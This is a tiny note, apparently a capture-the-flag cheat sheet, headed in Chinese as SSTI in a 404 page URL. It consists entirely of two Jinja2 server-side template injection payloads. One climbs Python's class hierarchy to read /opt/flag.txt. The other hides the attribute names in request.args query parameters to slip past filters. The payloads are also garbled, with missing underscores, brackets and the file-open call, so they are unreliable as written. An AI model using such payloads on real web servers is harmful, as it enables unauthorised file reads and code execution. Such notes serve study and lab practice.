404页面Url的SSTI

    {{“”.class.mro[2].subclasses()[40].(‘/opt/flag.txt’).read()

    {{‘’[request.args.a][request.args.b][2]request.args.c40request.args.d}}?a=class&b=mro&c=subclasses&d=read